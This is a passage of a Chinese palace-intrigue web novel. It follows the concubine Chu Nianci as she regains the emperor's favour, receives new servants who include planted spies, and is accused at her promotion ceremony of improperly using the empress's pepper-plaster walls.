想起皇后不但不能在平衡世家之事上帮他稳住局面,还时常添乱,端木清羽只觉得一阵气闷,烦躁地让人出去告诉礼部尚书,只是送悦贵人到掖廷去问话,只要弄清楚就会放出来,不会对她动刑。
礼部尚书闻言这才抹了一把汗告退。
端木清羽一脸不耐,真是没有一天安生……想起今天下午慧贵人的事,于是令人将手板,戒尺全部拿出来放在桌上。
正气着,眼角忽然瞥见内殿门口,悄悄探进一角月白的衣摆。
先是传来两声轻轻的咳嗽,引得侍立在旁的敬喜抬眼望去,敬喜悄悄看了皇帝一眼,便躬着身子,轻手轻脚地退了出去。
端木清羽只装作仍沉浸在自己的思绪里,并未留意门口的动静。
内殿门边,楚念辞磨磨蹭蹭地蹲到了他对面的书桌底下。
不多时,桌沿边摇摇晃晃地冒出来两个福山泥娃娃——一个戴着玉冠的胖男娃,一个头戴小花的胖女娃,粉嘟嘟、圆溜溜的,瞧着十分讨喜。
端木清羽想起她竟将自己亲手画的画转送给了淑妃,那股气顿时又蹿了上来。他冷眼瞧着那两只娃娃,倒要看看楚念辞这回要作什么妖。
先是那男娃娃雄赳赳、气昂昂地“走”了出来,女娃娃连忙躬着身子,动作飞快地凑了上去。
“陛下,您批奏折,累不累?渴不渴?臣妾给您倒茶好不好呀?”桌沿底下,传来娇滴滴的嗓音。
那女娃娃也配合着声音,在男娃娃身上蹭蹭。
动作和声音配得惟妙惟肖,端木清羽差点没忍住笑,可一想到她干的好事,又强行把笑意压了回去,只从鼻腔里轻轻哼了一声。
“走开,你竟敢骗朕!”男娃娃身子一扭,把女娃娃弹开,自己负气地“走”到一边,背过身去。
女娃娃迟疑了一下,又小心翼翼地蹭到男娃娃身后,细声细气地问:“陛下……您原谅臣妾好不好?”
“你太不像话,根本不把朕当回事。”男娃娃不肯回头。
“臣妾也是没办法嘛……”女娃娃又娇滴滴地碰了男娃娃一下。
男娃娃再次把她弹开,气鼓鼓地道:“你说说,为什么?”
“陛下,您别生气了,臣妾老实交代就是了。”女娃娃弯下腰,做出几分无可奈何的样子。
端木清羽鲜妍唇角渐渐弯起,那点残余的笑意渐渐目光落在那个女娃娃身上。
“臣妾在宫中无依无靠,淑妃和皇后娘娘知道赐浴的事,大动肝火,若不把画送给淑妃,平息她的怒火……臣妾承受两宫怒火,恐怕难以立足。”她的声音低了下来,透着无奈。
端木清羽心蓦地一软,而那男娃娃的那只手微微动了动,但依旧没转身。
“臣妾再也不敢了。”女娃娃接着说。
男娃娃这才转过身,冷哼一声:“还想糊弄朕?为何不早点告诉朕?”
“那是因为……因为……”女娃娃支支吾吾了好一会儿,扯住男娃娃的袖子,说道,“臣妾看您每日上朝那般辛苦,不想再让您为后宫这些琐事烦心!”
话音落下,殿内顿时安静下来。
“您……您会原谅臣妾吗?”问完这句,楚念辞缩在桌沿下,屏住了呼吸等待着。
时间一点点过去,书案后的人却迟迟没有出声,似乎是在思考。
她的心又渐渐悬了起来。
蹲着的腿麻了,举着娃娃的手酸了,汗渐渐浸湿额头……
“算了。”他的声音终于在难熬的寂静中响起。
声音冰冷,却已如冰雪将融,拂过眉眼的春风。
楚念辞回过神来,一下子从桌子底下露出一个春风般的笑脸,兴高采烈地嚷道:“陛下,臣妾与您日月相伴一辈子!”
端木清羽终究没忍住,眉眼一展,笑了起来,那眼眸亮晶晶的,笑起来真是斯人如玉郎绝独艳。
楚念辞斜靠在他的身上,微微弯着秀颐,露出一截白皙修长的脖颈。
端木清羽
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目光落在上面,眸色微深,忽然伸手将她压在了龙榻上,手指顺着她衣缝探进去,抚摸着,楚念辞大眼睛水水地瞅着他,一脸期待。
“想用两个泥娃娃,就糊弄过去?”他却停止动作,声音低沉,眸中又逐渐发暗,“朕的心意,你就这样随意转送旁人?可有半分在乎过我?”
楚念辞心中清楚,帝王心思深沉,绝不会因她三言两语就全然相信。
要想真正得到他的信任,这场戏必须演得天衣无缝。
“陛下,臣妾既觉得不该糟蹋您的心意,又不得不为自保考虑……心里实在矛盾。”
楚念辞声音轻颤:“臣妾……并没有把您的画送给别人。”
说着,她从袖中小心取出那幅寒梅图。
楚念辞低下头,轻咬嘴唇:“臣妾不会把这画送给她,若自己有一天,也会被陛下忘在脑后,臣妾也希望留着陛下亲笔的这幅画,还能借它聊解相思。”
没想到这个女子,竟然能复刻自己的画。端木清羽深邃的眼中掠过一丝惊讶。
心口蓦地一软。
“怎么呢?”他将人拥紧了些,“朕喜欢你的聪慧机敏,只要你保持这份初心,朕便会一直喜欢你。”
楚念辞的脸贴在他胸前,眼底掠过讥讽。
这种话,帝王不知对多少女人说过,就算现在没说过,以后他的嫔妃多了,为了稳固前朝,他也会去说的。
而自己就是要守住往上爬的初心。
开口时,语气却满是感动:“臣妾信您。”
他见过太多表面单纯、内里狠厉的女子。
后宫争宠向来你死我活,他知她并非表面那般单纯,却希望保留底线。
而眼前这人,既懂得自保,又将他的心意珍藏……独她一个。
端木清羽看向她,他能清楚看见她眉心一点红痣,映得肌肤胜雪,睫毛又密又长,越到眼尾越显得更翘,配上微微上挑的眼尾,透出点天真的神态,眉不画也黑,眉尾却随眼尾一同扬起,配上微微慵懒又妩媚又纯净的眼神望向自己……缠绵悱恻的让人沉沦。
他心里像是被什么轻轻撞了一下,喉结不由也滚动了一下。
楚念辞的手就从他的背上,划到了腰上,而柔软的嘴唇顺着他的耳垂一路往下亲。
他的气息渐渐重了。
红帐垂落,春意渐浓,夜晚还很长啊。
养心殿外,敬喜竖着耳朵听动静。
里头先是有说话声,还夹杂着一两声笑。接着,便传来龙榻轻轻摇动的声响。
他原以为这次陛下是真动了大气,没想到竟是高高举起、轻轻放下。
敬喜心里不禁有些感慨。
陛下处理政事一向勤勉,时常熬夜批折子,为国事操碎了心。
若还要为后宫这些琐事气恼伤神,他们这些在身边伺候的人看着,既心疼又担忧。
要是陛下往后每天都能有今天这般的好心情,他也就不必总惦记着龙体安危了。
看来就为这个,以后也得劝陛下多见她……
第74章 淑妃的隐忍与俏答应的谋划
第二日,端木清羽神清气爽地从养心殿出来,见到李德安,特意回头叮嘱:“今日慧贵人不必去皇后处请安了,让她多歇一会儿,还有,命人将活泉水引入棠棣宫。”
他顿了顿,眉眼柔和下来,道,“朕想给她一个惊喜。”
李德安闻言,脸上露出一丝迟疑,但想起之前的教训,到底没多说什么,只低头应道:“是。”
端木清羽脑海中却忽地浮现出楚念辞昨夜的为自己绽放的样子,嘴角不自觉地扬了起来。
如此风平浪静,又过了十几日,棠棣宫修缮完毕。
端木清羽下旨迁宫与册封礼一并举行。
宫中早已传遍……都说那棠棣宫修缮得富丽堂皇,堪比坤宁宫与玉坤宫,还引了郦山活泉入内。
玉坤宫内,瓷器碎裂声接连响起。
淑妃整个人浸在刚挖浴池里,池中铺满珍稀牡丹瓣与名贵药材。
她扔掉了几个杯子,闭着眼,胸口却起伏得厉害,忽然抬手将水面花瓣狠狠一拨。
“宫殿都修得这般招摇也就罢了……如今陛下还给他引了一股活泉,她也配,谁让内务府把他的宫殿修得这般华美。”她睁开美目,眼中怒火翻涌,话音酸得像浸了陈醋。
“娘娘,奴婢找内务府的人来问过,都说是奉了您的旨意,皇后又另外着实添了许多。”
“什么?”淑妃微微愕然,“本宫何时说要大修棠棣宫,定是这起子奴才,见风使舵,见这个小**获得了圣宠,故意谄媚巴结,往日装得一副安分样子,倒是我小瞧她了,这难不成是皇后故意塞进来分宠的?”
她越说越气,妩媚锋利的脸庞微微扭曲:“不行,趁本宫如今还协理着六宫,得把这小蹄子叫来好好敲打敲打!”
“娘娘息怒!”绿翘跪在一旁急劝,“皇后眼下只怕比谁都想怀上龙嗣,怎会再找人分宠?你没听说吗,皇后还找人着实添了许多,这分明就是想故意挑起六宫对她的怨恨,您此时发作,反倒惹陛下注目,正中了皇后下怀啊!不如等陛下这阵新鲜劲过去……”
淑妃咬着唇,深深吸了口气。
她毕竟是宰相府精心栽培的嫡女,骄纵虽骄纵,却并非真没脑子。
再说,她终究离不开皇帝的偏爱与扶持。
但她胸中的这口气始终难以咽下,淑妃眼中寒光一闪:“这慧贵人就是个狐媚子,本宫岂容她得意……”
“娘娘,”绿翘适时转开话头,“奴婢收到消息,俏答应……被放出来了。”
“什么?”淑妃蹙眉,“皇后又把她的狗放出来了?”
“不是皇后,”绿翘压低声音,“是太后前些日子病重,俏答应割了自己腕上肉熬汤献药,太后饮后竟真好转了些,太后上书夸赞她孝心感天,陛下便准她出来了。”
“这种糊弄人的把戏,谁信?”淑妃冷笑。
绿翘低声接道:“娘娘,这狗放出来,肯定会去先咬慧贵人,她既与慧贵人有旧怨,咱们不如坐山观虎斗,且让慧贵人再得意几日,您如今最要紧的,是把身子里的红花毒清干净才好,争取先怀上龙嗣。”
淑妃眯着眼睛想了想。
“主子,老相爷可是递过来话了,只要能怀上龙嗣,府里就会想办法,把皇后拉下来。”
淑妃听了,终于缓缓靠回池边,闭上眼不再说话。
闲月阁里,俏答应额头上沁满冷汗,手腕上那道伤口皮肉外翻,瞧着触目惊心。
玉杏正小心翼翼地替她上药,指尖轻颤,还是惹得俏答应倒吸一口冷气。
“娘娘,禁足之期本就快满了,何苦这样伤自己的身子……”玉杏看着那狰狞的伤,声音发哽,“这伤口……往后如何承恩侍寝?”
“承恩?”俏答应苍白的脸上掠过一丝讥诮的笑,“眼下最要紧的,是想法子出去。”
她明艳的容颜被汗浸湿,唇咬得发白,直到玉杏包扎妥当,才缓缓开口:“太后已在暗中物色新人,若我再不出去,等新人入宫,皇后有了新棋子,谁还会记得我?只怕要烂死在这冷阁里。”
她眼底泛起寒意,“听说那**已晋了贵人……同批入宫的姐妹还有未得幸,她倒一步登天,若不是她,我怎会被困于此?”
俏答应眸色幽沉:“让她再得意几日,那东西,可备妥了?”
“
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准备好了。”
“沉住气。”她放下宽大的袖子,遮住了伤口,语气平静得让人发冷,“过二日,我们去给她‘道贺’。”
玉杏有些犹豫:“眼下怨恨嫉妒她的人不少,何苦抢先动手?”
“玉杏,这也是没办法,皇后派人过来说得清楚……”俏答应忽然抬手抵住眼角,清艳的眼中浮起泪光,声音也变得幽怨,“我出身不高,从来只是别人的棋子,听皇后命令行事,我也知道稍有不慎便是万劫不复……可我有的选吗?”
她抹去泪痕,唇角缓缓勾起一抹幽凉的弧度:“正因我位分低,又曾得罪过她,若让她真爬上去了,我便再无出头之日,等别人动手?谁知道要等到何时。”
她顿了顿,“皇后安排的人,可进她宫里了?”
“坠儿和小贵子都已在了。”
“好。”俏答应轻轻抚过腕上纱布,“等册封那天,便去好好‘恭贺’一番,记得把皇后身边那位楚内医也叫上。”
“为何请她?”玉杏不解。
“她是皇后的弟媳,又是她的妹妹,”俏答应抬眼,眸中闪过一丝算计,“万一出了岔子,也得有人帮着分摊不是?总不能全由我们兜着。”
她低声又嘱咐了几句,玉杏会意,垂首退下。
册封礼前一日,楚念辞正坐在窗边让团圆帮着篦头。
外头忽然传来满宝清脆的通报声:“小主,内务府秦公公送人来了,请您出去看看呢。”
楚念辞让团圆简单挽了个髻,披上狐**斗篷,扶着她从暖阁出来。
只见院里已整整齐齐站了两排宫人。
领头的是个四十来岁的太监,生得白胖圆润,一张脸未语先笑。
他上前利落地打了个千儿:“奴才内务府管事秦立,给慧贵人请安,贺小主晋封之喜,按您如今的位分,该配掌事姑姑一名、大宫女两名、领班太监一名,并粗使宫女太监共二十人。”
他侧身指着身后垂首肃立的两排宫人:“人奴才都带来了,小主先过过眼。若有不合意的,奴才立马给您换。”
楚念辞目光沉静地扫过跪了的满院的宫女太监……
第75章 笼络内务府秦立
跪了一地的宫女太监都低着头,只能看见一个个漆黑的头顶。
楚念辞心里清楚,自己在宫中毫无根基,送来的人里必然掺着各方的眼线。
即便退了这批,下一批也一样。
况且未到嫔位,宫人本就该统一分派,秦立方才那番话不过是客气,若真挑拣起来,倒容易落下个“恃宠而骄”的名声。
可对她来说,新人眼下谁都不可轻信。
至于谁可信、谁有异心,总得日后慢慢观察才知。
再说了,她也不慌,陛下已经把掌事姑姑岚姑姑分给她了。
她身边已有团圆,占了三等大宫女名份,首领太监的人选,她也不打算立刻就从新人里挑,满宝年纪尚小,暂不够格任首领太监。
秦立话音一落,身后众人齐刷刷俯身行礼:“奴才、奴婢给慧小主请安,小主吉祥!”
楚念辞看一眼秦立,见四十多岁,长了一张团团的白胖子。
眼珠子叽咕噜乱转,一看就是个很贪财,她自然不会点破,只温声道:“秦总管是宫里的老人了,您挑的人,自然是妥帖的,团圆,看赏。”
团圆当即递上一个沉甸甸的大荷包。
秦立入手一沉,便知是足有的百两银锭,白胖团脸上笑容顿时又热络了几分。
他侍候皇后和各宫嫔妃,最多的打赏也就是淑妃曾给过十两,皇后更是一毛不拔。
这趟送人差使,没想到这位新封贵人竟如此阔绰大方。
况且他早前打听过,这位慧贵人入宫不过月余,从未侍寝便从选侍晋为贵人,可谓圣眷正浓。
得了圣眷不骄不躁,还能通晓人情世故。
这样的小主,不但能活得长久,而且能活得很滋润。
如此,自己也不能提点一二。
他笑得两眼都眯成了一条缝,往前凑了半步,压低声音似是无意地道:“这批人虽是精挑细选,但好苗好花里保不齐有几根杂草……哦,瞧我这臭嘴,净胡勒勒,淑妃娘娘那儿也等着挑些顺手的宫人留着用呢,奴才便先告退了,小主觉得不合用,回头尽管来找奴才。”
好苗好花里保不齐有几根杂草?
楚念辞听懂了话里的意思。
这批人里有从前旧宫里的裁调下来的人。
与自己有怨的,只有白庶人和俏贵人。
只是现在还不知道是他们中间的哪一个。
她含笑点头:“多谢内侍提点,有劳内侍了,满宝,送内侍出去。”
秦立又做了一个揖,眉花眼笑地走了,待内务府一行人离开,楚念辞轻轻看了团圆一眼,道:“且先说说看,原来都是哪个宫里的?”
团圆会意,上前一步,端正了神色对阶下众人道:“都报上名来,原先在哪个宫里当差,做过什么活儿,说清楚,若有隐瞒或谎报,立刻发落到辛者库去。”
宫女太监们依次上前回话,大多看着老实本分,虽不机灵,却也不像偷奸耍滑的模样。
楚念辞倒不讨厌这样的。
笨拙些总比心眼多的好应付。她将几个体格结实的先单独列在一旁,打算日后观察看看,若有合适的,不妨请个懂拳脚的师傅教他们些功夫,既多了层护卫,平日出力干活也方便。
若能从中挑出一两个忠心的,将来培养成首领太监也不错。
前面几人回话都还平常,楚念辞只淡淡听着,并未轻易表露态度。
这时,一个小太监上前行礼。
“奴才小贵子,给小主请安。”他低着头,声音恭顺,“奴才原先在辛者库当差,如今能分来伺候小主,真是天大的福气。”
楚念辞打量了他几眼……人看着挺本分,就是面色发黄,身子瘦弱,确是吃过苦的模样。
至于他为何进了辛者库,又怎么被放出来分到这里,楚念辞心里自然存了个疑。
可她面上不显,只淡淡点了点头,没多问一句。
反正她不会轻易信任何人。
目光一转,她看向最后那个宫女:“你呢?”
那瘦小宫女声音低得几乎听不见,回话时眼神躲闪,显得十分怯懦。
“抬起头回话。”楚念辞温声道。
小宫女颤巍巍抬起头,仍是声如蚊蚋:“奴婢……名叫坠儿,从前在浣衣局当差。”
楚念辞打量了她几眼。
模样倒是娟秀,手上虽有冻疮,却不似常年洗衣之人满是厚茧,发髻也梳得整齐,衣裳虽旧,却浆洗得干净。
“何时进的浣衣局?”楚念辞语气仍算温和。
坠儿扑通跪了下来,声音发颤:“奴婢……奴婢从前没跟过好主子……”
“问你什么便答什么!”团圆眉头一皱,上前一步,啐了她一口,“休要东拉西扯。”
坠儿捂着脸,连忙磕头道:“奴婢不敢欺瞒小主,奴婢原先伺候俏答应,后来……后来主子犯了事,被打入冷宫,奴婢便被拨去了浣衣局,奴婢在那儿一直勤恳做事,从前也没犯过大错,这次是奴婢的娘亲花钱托了人情,才将奴婢调出来的……”
她哽咽着继续道:“其他宫里都嫌奴婢晦气,不肯收留……若是再找不到去处,奴婢就只能回辛者库,求小主发发慈悲,留下奴婢吧,奴婢一定忠心耿耿,好好地伺候小主。”
团圆脸色一沉。
话说得可怜,可谁不知道俏答应当年与楚念辞有过节?
这种来历的宫女,内务府怎会无缘无故送来?
这分明是有人故意为之,想给自家小主添堵。
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新来宫人都偷偷看着自己的主人,忐忑不安。
楚念辞知道但凡自己这时候露出把人赶出去。
便会失去这些新来的宫人的心。
失去人心,还会被冠上挑三拣四的恶名。
这不单单是添堵,而且是陷阱,不过,这种低劣手段还恶心不到她。
联想到之前秦立特意提点话,她心里便明白了……这多半是那位被降位的俏贵人暗中使的绊子。
对方肯定还留着后手。
当初自己位分比较低,都没怕过她,难道现在自己害怕?
无非兵来将挡,水来土掩。
她漫不经心地打量了跪在地上的坠儿一眼:“你若真没犯过错,又何必心虚?过去的侍候了她,不代表就是恶人,不必多想,留下来安心当差就是,只要勤勉本分,我自然不会亏待你。”
坠儿声音带着感激的轻颤:“奴婢一定忠心耿耿,万死不辞,只求小主让奴婢做些洒扫、抬水之类的粗活,奴婢知道不配在屋里侍候,愿在外头当个粗使宫女就好。”
“倒是个不贪心的。”楚念辞淡淡笑了笑。
正好,她也绝不可能把伺候过俏贵人的人放在近身听用。
坠儿自己提出做粗活,反倒合了她的意。
坠儿重重磕了个头:“多谢小主收留!”
所有人悬到嗓子的心,都放了下来,既然主子连以前得罪看过他的人都留下,便是个宽宏大量,可以托付的。
处理完这事,楚念辞又对众人说了些场面话,决定将这批宫人全数留下,等到明日册封礼过后,便全带进棠棣宫。
在宫里无根无基,本就需慢慢培养可信之人。
至于这些人到底干不干净,时间自会验证。
“你们如今都是我的人,伶俐也好,踏实也好,最重要的是忠心二字,”她抬眼示意众人,“除了掌事姑姑,团圆今后便是这棠棣宫的大宫女,一应调度皆由她负责。”
她又敲打勉励了几句,让团圆给了赏钱。
恩威并施之后,便分派了各人的洒扫差事。
回到内殿,楚念辞慵懒地倚在美人榻上,吩咐满宝:“去仔细打听这些人的来历,对一对和他们说的是否相符,尤其是那个小贵子与坠儿。”
接着,她才将自己的推测说与团圆听:“……听说俏答应现在放出来了,因我而降位,心中必然恨极,这恐怕只是开端,往后定还有动作,你们都要打起精神,处处留心,别让人钻了空子。”
团圆神色一凛:“奴婢明白!”
转眼便到了第二日……一大早,楚念辞就被岚姑姑从床上给折腾起来,迷迷糊糊的被上了大妆,穿上繁复贵人制服,准备午时举行的贵人册封礼……
第76章 棠棣椒房
册封礼的排场大得让六宫都侧目。
楚念辞带着团圆和满宝迁往新宫时,执礼的内监和宫女排成长队,仪仗浩浩荡荡,众妃罗列两旁……这哪里像是个贵人该有的阵仗?
皇后领着六宫嫔妃前来观礼,面上带着端庄笑意,眼神却沉得看不出情绪。
众妃除了沈澜冰真心为他高兴,其他人的眼中有嫉妒,有羡慕。
宫门上,“棠棣宫”三个鎏金大字在日光下明晃晃地刺着众人的眼。
从正门到正殿,是一条两车宽的汉白玉路与雕栏玉砌,两旁凿了清可见底的池子,池边种满了松柏和梅树。
这时节,唯有梅花开了,陛下赏的绿梅正开得热闹,幽香飘了一路,花瓣像玉蝶似的纷飞。
华丽的几乎让人睁不开眼。
楚念辞静静看着,心里默想:这就是我以后要站稳脚跟的地方了。
她抬起头,看着太阳底下,在棠棣宫的琉璃瓦金翠交映,那双妩媚又清澈的眼睛里,渐渐浮起一丝清晰又鲜明的野心。
上辈子她求什么情啊爱啊,最后落得一场空。
这辈子,她要锦衣玉食,要万人之上的尊荣。
上一世嫁错了人,受尽冷眼,她照样能挣到一品诰命。
这一世,她嫁的是天下最尊贵的男人。
今天当上贵人,不过是个开始。
楚念辞轻轻攥紧袖中的手,望着阳光下熠熠生辉的殿顶,心底那股劲烧得更旺了。
她坚信自己能一步步爬上去,把这九重宫阙、无上荣光,都牢牢握在手里。
这时,他感到背上射过来一束冷光。
回头看时,却是自己的庶妹楚舜卿,此刻她也站在人群中间,脸色铁青,但仍极力表现出一副和光同尘的模样,然而脸上僵硬的表情,怎么也掩饰不住。
那是一种嫉妒、尴尬、后悔,然后还带一点不甘的表情。
这时候才看到她,楚念辞突然觉得上辈子的恩怨离自己好遥远。
遥远的已经不真实,看到她就像看到一个陌生人一般。
心中已经毫无波澜。
收回目光,楚念辞穿着贵人吉服,跪在锦垫上。
司礼太监高声宣册:“兹尔楚氏念辞,端静柔嘉,恪谨持礼,承太后慈谕,特晋封为贵人……”
楚念辞领着团圆、满宝和岚姑姑等宫人叩首谢恩:“臣妾领旨,吾皇万岁万岁万万岁,皇后娘娘千岁千岁千千岁。”
当皇后僵着脸将圣旨递给她时,众妃嫔脸色都不太好看,却还得强笑着道贺。
楚念辞面上恰如其分地挂着惊喜,接受了众人的祝贺……不招人妒是庸才,既然决心往上爬,还怕这些眼光?
她甚至暗暗欣赏着淑妃、皇后,还有那个俏答应强忍不甘与嫉妒的僵硬笑脸。
礼成后,众人往正殿去。
走到汉白玉栏杆边时,忽然有人“咦”了一声。
只见栏杆下,一缕袅袅白烟正从泉眼里冒出来……竟然是热泉。
这下,连楚念辞这样见过世面,自认不管什么事都不能让自己吃惊的人都愣住了。
她万万没想到。
陛下居然把汤泉宫里的热泉引到了这儿,而且清澈的泉水中,洒满了晶莹剔透的各种宝石。
上一世嫁进蔺家,她只能典当嫁妆苦苦支撑,何曾见过这般泼天的富贵?
端木清羽待她比蔺家大方了千百倍。
也宠了千万倍。
淑妃站在人群里,望着那眼活泉,嫉妒的指甲都快掐进掌心了。
蔺皇后则是咬了咬嘴唇。
俏答应则是瞪大的眼睛。
当初她只听说楚念辞得宠,没想到对方的受宠程度,远超她的想象。
自己入宫就被禁足,连见陛下一面都难。
就算不禁足,陛下也从来没有用正眼看过自己。
可楚念辞不过是个商户出身的女子,竟能一步登天,从选侍直封贵人,风头甚至压过了她这内务府出身的千金。
这何止是打脸,简直是把她的尊严按在地上踩。
她心里翻江倒海地酸着,暗暗咬牙……绝不能再让这商户女往上爬了。
蔺皇后真是肠子都悔青了。
真不该一时大意,让这贱蹄子在陛下面前露了脸。
见册封礼结束,瞥了俏答应一眼,推说身子不适,先行离去。
下面的好戏开场了,楚念辞如此盛宠,她可不想搅进这滩烂水里,惹陛下的不快。
看淑妃那眼睛里满满都快要溢出来的嫉妒,她知道根本不用自己的路上。
等皇后一走,俏答应眼角余光扫过淑妃……
果然,淑妃那张娇艳的脸上也酸得像沉了十几年的老陈醋。
俏答应轻轻冷笑,仗着自己才十五岁,硬挤出一抹天真无害的笑容,走上前去。
“恭喜慧姐姐!”她捏着帕子,声音轻快,眼睛亮晶晶的,仿佛真心为楚念辞高兴,“第一次见姐姐,臣妾就觉得姐姐这般容貌气度,绝非池中之物,没想到这么快就得了陛下恩宠,照这势头,再过些日子,妹妹怕是要改口叫您‘娘娘’了呢。”
娘娘是嫔位以上主子称呼。
如今满宫里,也只有皇后淑妃和嘉妃,三个人能被称上娘娘。
由于她年纪小,这话说得天真烂漫,好像只是无心之言。
可越是无心,越显得刺耳。
淑妃脸色顿时沉的暴风雨来临前的天空。
她明知道这是皇后那条狗在挑拨离间,但还是压不住心里的妒火。
她扶了扶鬓边的凤钗……那是前几日陛下特赏的,点翠用了上千只翠鸟的羽毛,御造间的匠人花了几个月才打成,价值连城。
“山鸡飞上枝头也变不成凤凰,”淑妃娇艳的脸上满是不屑,话里酸得掉牙,“任何布置,都讲究一个留白,如这般填山移海似的摆放这么多东西,除了庸俗就是俗气,也就没见过世面的商户子弟,才会如此。”
楚念辞闻言也不生气。
他本就是商户,你这是人人知道的事儿。
心想,该发生的果然还是会发生的。
泼天的权势,最容易迷人眼。
她只是含笑不卑不亢道:“淑妃姐姐,臣妾这宫里是俗气,怎比您的凤凰窝,臣妾有什么见识?如何与淑妃姐姐相提并论,若姐姐瞧着这些东西碍眼,等会收了便是。”
这轻飘飘一句话,把她针锋相对的势头全堵了回去,听上去还像奉承。
淑妃感觉像一拳打在软棉花上。
发火又不是,不发火又不甘。
沈澜冰听她这么说,心里窃笑。
淑妃嘲笑她山鸡,她说这是凤凰窝,谁不知道凤凰是鸡头,这便将她顺带也骂了。
更妙的是淑妃还听不懂。
淑妃知道她话中有话,却不知道骂的
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自己是何处?
只气的在那儿干噎。
绿翘忙上前扶住自己主子的胳膊,道:“主子,别再在风口里说话,仔细着了风寒,过会儿头又疼。”
俏答应,心里嗤笑……当初还觉得这女人貌美无双有勇有谋,如今看来,除了点火就着的炮仗脾气,一无是处。
而楚念辞一句话就能让淑妃吃了亏,是更加不容小觑。
嘉妃见状,也忙含笑提议:“是啊,别站在这儿吹风,都进主殿瞧瞧吧,听说棠棣宫正殿布置得极好,本宫好奇得很呢。”
沈澜冰也连忙随声附和。
楚念辞端出大方得体一笑:“各位姐姐请。”
说实话,她也是头一回进这正殿,心里同样好奇。
踏入殿内,一股暖香扑面而来。
只见雕凤髹金的紫檀屏风立在正中,上设紫檀木正座,刻画精工,锦幔垂珠,陈设极尽华美。
楚念辞忽然嗅到一丝特别的香气……细细的,暖暖的,带着椒类的辛香,又混着其他香料,馥郁得几乎醺人欲醉。
这难道是……她心头一凛,仔细看去。
只见四壁的墙面颜色与寻常不同,隐隐透着暗红光泽……
这是椒泥混香料涂的墙。
椒房之制,历来唯有中宫皇后可用。
果然,俏答应紧接着便“咦”了一声,天真道:“这香气好特别……呀,这墙壁的颜色怎么……”
她故作好奇地凑近细看,随即掩口轻呼:“这、这不会是椒房吧?臣妾可只听说过,这还是第一次见的,只有皇后娘娘的宫殿才能用椒泥涂壁,取‘椒聊之实,蕃衍盈升’的祥瑞之意,寓示子嗣繁盛、皇后尊荣……”
她转头看向楚念辞,眼神里满是“不解”:“慧姐姐,这要是椒房,可是逾制了啊,换作臣妾,可是不敢住的。”
殿内霎时一片死寂。
所有嫔妃的脸色都变了。
淑妃闻言,脸色“唰”地沉了下来。
一下子逮住了楚念辞的短处,她快步上前,伸手在墙上一抹,指尖立刻沾上一层细细的、带着香气的暗红色泥粉。
“果然是椒泥!”淑妃眯起眼睛,眼中射出不善的光芒,“好个慧贵人,你竟敢擅用椒房,眼中可还有皇后与本宫?”
便是自己宠冠六宫时,宫中也没有这般殊荣!
这简直是目无尊长,僭越至极!
楚念辞心头剧震,面上却强自镇定:“淑妃娘娘明鉴,臣妾今日也是头一回进这正殿,并不知……”
“不知?”淑妃冷笑打断,妩媚的秋水眼眸若三九寒冰,“这棠棣宫是陛下亲指给你的,内务府布置时你能不知?还是说,你早就知道,却故意装作不知,好享受这皇后才配有的尊荣?”
俏答应在一旁小声添油加醋:“淑妃娘娘息怒……也许、也许慧姐姐真不知情呢?毕竟这椒房之制,非中宫不得用,这是祖制,慧姐姐可能并不知道,所以才让人椒泥……”
这话听着像劝,实则句句都在坐实楚念辞“僭越”的罪名。
俏答应身边带的宫人也窃窃私语起来:
“天啊,椒房……这胆子也太大了。”
“难怪陛下这般厚待,原来慧贵人早就存了这般心思……”
“这要是传出去,可是大不敬之罪啊。”
楚念辞袖中的手紧紧攥着,指甲掐进掌心……
第77章 椒房之祸
她迅速理清思绪……这椒房绝不可能是陛下授意,陛下再宠她,也不会在这种事上逾制。
那就只有两种可能:一是内务府有人陷害,二是……皇后,听人说皇后特意做人加了许多东西。
不对,淑妃协理六宫,如今正管着内务府的差事。
这儿装修其实是淑妃负责的。
如果这事闹大,自己固然要受责,可淑妃也难免落个惫懒之责,
如此一箭双雕,除了皇后,还能有谁呀……在这儿等着我呢。
她抬眼,正对上俏答应那看似无辜、实则藏着得意的眼神。
是了,皇后匆匆离去,俏答应却留下……这一切,怕是个早就设好的局。
楚念辞的手摸到礼服满绣花纹,一下子握紧。
抬眼迅速瞥去,只见淑妃眉眼都高高扬起,寒光凌厉,不怒自威,傻乎乎地还以为揪住了自己的错呢,殊不知他自己现在也落进了人家的套中。
在深宫中,无宠便是要忍,得宠更是要争。
如今她正当宠,便有人迫不及待地来踩她,是可忍孰不可忍。
楚念辞当即俯身叩首,面上适当地露出诧异与委屈:“娘娘,臣妾今日册封,一切布置皆由内务府操办,臣妾从未过问,若真是椒泥涂壁,那便是内务府办事出了差错,或是有人蓄意陷害,还请娘娘明察。”
沈澜冰亦跟着行礼,道:“娘娘容禀,先前臣妾都听六宫传遍,皇后娘娘吩咐,说棠棣宫一应装饰由内务府主理,这……究竟是何缘故?”
淑妃闻言一怔……
是了,刚刚一时气冲脑海,未及细想,如今回过味儿了,从头到尾确是皇后交给她办的。
当时接着这差使,她不耐细管,便交给内务府去办,含糊敷衍了事。
若真要追究,自己也难辞其咎。
想到说不定会是皇后搞的鬼,她顿时警惕起来,勉强敛了怒色,吩咐身旁的宫女:“去,把内务府管这事的太监叫来。”
殿里头静得吓人,空气像是冻住了,压得人喘不过气。
过了差不多一盏茶的工夫,内务府副总管秦立才佝偻着腰,小步快跑进来。他一头汗,刚进殿腿就软了,“扑通”一声跪下,气还没喘匀:“奴才……给各位娘娘请安……”
淑妃没让他起身,只冷冰冰地问:“棠棣宫装饰都是你负责吧,正殿的墙,是用什么涂的?”
秦立抬手擦汗,声音发颤:“回娘娘,就是……就是普通的朱砂混了香料……”
“朱砂?”淑妃冷哼一声,“你当众人眼睛是摆设?那是椒泥!说,谁让你们用椒泥涂墙的?”
秦立浑身一哆嗦,下意识看了眼一旁的楚念辞。
顿时明白了。
这是有人想给她上眼药,这件事儿,他估计是皇后干的。
但皇后没有人给他递消息,也没有人给下命令。
这是没拿他当自己人,既然自己没沾到油水,出事也不关自己的事儿。
他完全可以说记不清,一推三六九。
想起昨天慧贵人给的厚赏,心里犹豫了一下,若是今天帮了她,舍不得以后还能捞到更多的好处。
于是他便决定实话实说,还了她一个人情,又结了缘。
他又瞟了一眼秦振兴,连连磕头:“娘娘明鉴,棠棣宫的布置是秦振兴亲自交代的,料单也是他批的,奴才只是照单子办事……”
“秦振兴?”淑妃脸色一变,扭头看向身旁大太监。
秦振兴一黑。
